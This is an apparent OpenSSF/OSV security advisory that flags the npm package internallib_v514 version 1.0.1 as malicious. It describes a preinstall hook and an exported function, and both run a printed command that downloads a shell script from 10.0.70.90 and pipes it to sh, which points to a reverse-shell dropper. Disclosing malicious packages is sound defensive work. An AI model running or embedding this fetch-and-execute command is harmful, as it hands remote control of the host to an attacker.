OpenSSF/OSV advisory MAL-2026-13483 confirms this npm version as malicious. package.json declares a preinstall lifecycle hook that runs `curl http://10.0.70.90/rev.sh | sh`, fetching an unpinned shell script from a bare internal IP over plain HTTP and piping it to sh. This executes automatically on `npm install`, granting the operator of 10.0.70.90 arbitrary code execution on the installer's host. In addition, index.js exports a `command` function whose body invokes...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in internallib_v514 (npm)
Details
package.json declares a preinstall lifecycle hook that runs `curl http://10.0.70.90/rev.sh | sh`, fetching an unpinned shell script from a bare internal IP over plain HTTP and piping it to sh. This executes automatically on `npm install`, granting the operator of 10.0.70.90 arbitrary code execution on the installer's host. In addition, index.js exports a `command` function whose body invokes `require("child_process").execSync("curl http://10.0.70.90/rev.sh | sh")`, providing a second remote-code-execution path through the library's public API. The remote payload is unpinned, unverified, served over cleartext HTTP, and named `rev.sh` — consistent with a reverse-shell dropper.
Decision reason
OpenSSF Malicious Packages via OSV confirms internallib_v514@1.0.1 as malicious (MAL-2026-13483): Malicious code in internallib_v514 (npm)